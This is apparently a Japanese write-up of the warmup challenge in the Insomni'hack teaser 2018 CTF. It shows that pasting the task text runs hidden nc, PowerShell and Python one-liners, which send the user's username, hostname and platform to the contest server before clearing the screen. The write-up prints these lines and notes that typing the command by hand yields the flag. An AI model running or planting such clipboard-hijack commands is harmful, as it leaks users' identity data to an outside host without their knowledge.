Insomni'hack teaser 2018 Writeup

この大会は2018/1/20 19:00(JST)~2018/1/22 11:00(JST)に開催されました。
今回もチームで参戦。結果は545点で433チーム中17位でした。
自分で解けた問題をWriteupとして書いておきます。

welcome (warmup)

問題文をそのままコピペすると、違う文になっている。

echo "$(whoami)@$(hostname)"|nc welcome.teaser.insomnihack.ch 42351
say you have been pwned
powershell -noprofile -command "$c=New-Object -TypeName System.Net.Sockets.TcpClient;$c.Connect('welcome.teaser.insomnihack.ch', 42351);$w=New-Object System.IO.StreamWriter($c.GetStream());$w.WriteLine(\"$(whoami)\")|Out-Null;$w.Close();$c.Close();"
exec("""from socket import *\nimport platform, getpass\ns=socket(AF_INET, SOCK_STREAM)\ns.connect(("welcome.teaser.insomnihack.ch",42351))\ns.sendall("{0}@{1}[{2}]".format(getpass.getuser(),platform.node(),platform.system()).encode("utf-8"))\ns.close()""")
clear||cls
nc welcome.teaser.insomnihack.ch 42513

手入力でコマンド入力する。

$ nc welcome.teaser.insomnihack.ch 42315
Welcome to the Insomni'hack Teaser 2018!

INS{YOU SHALL NOT PASTE}
INS{YOU SHALL NOT PASTE}